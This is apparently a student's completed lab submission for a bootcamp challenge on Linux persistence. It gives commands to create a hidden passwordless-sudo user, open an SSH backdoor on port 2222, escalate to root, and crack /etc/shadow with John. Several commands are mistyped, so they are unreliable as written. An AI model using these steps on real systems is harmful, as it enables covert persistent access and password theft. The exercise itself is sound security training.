Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

Sudo useradd sysd -no-create-home

2. Give your secret user a password.

Sudo passwd sysd

3. Give your secret user a system UID < 1000.

Sudo usermod -u 420 sysd

4. Give your secret user the same GID.

Sudo groupmod -g 420 sysd

5. Give your secret user full sudo access without the need for a password.

```
Sudo visduo

Under #user privilege specifications i added a line:
Sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

6. Test that sudo access works without your password.

Sudo -1

Step 2: Smooth Sailing

1. Edit the sshd_config file.

```
Sudo nano /etc/ssh/sshd_config
Under #Port 22 I added:
Port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

Sudo service ssh restart

2. Exit the root account.

exit

3. SSH to the target machine using your sysd account and port 2222.

Ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user.

Sudo su

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

Ssh sysd@193.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

John /etc/shadow

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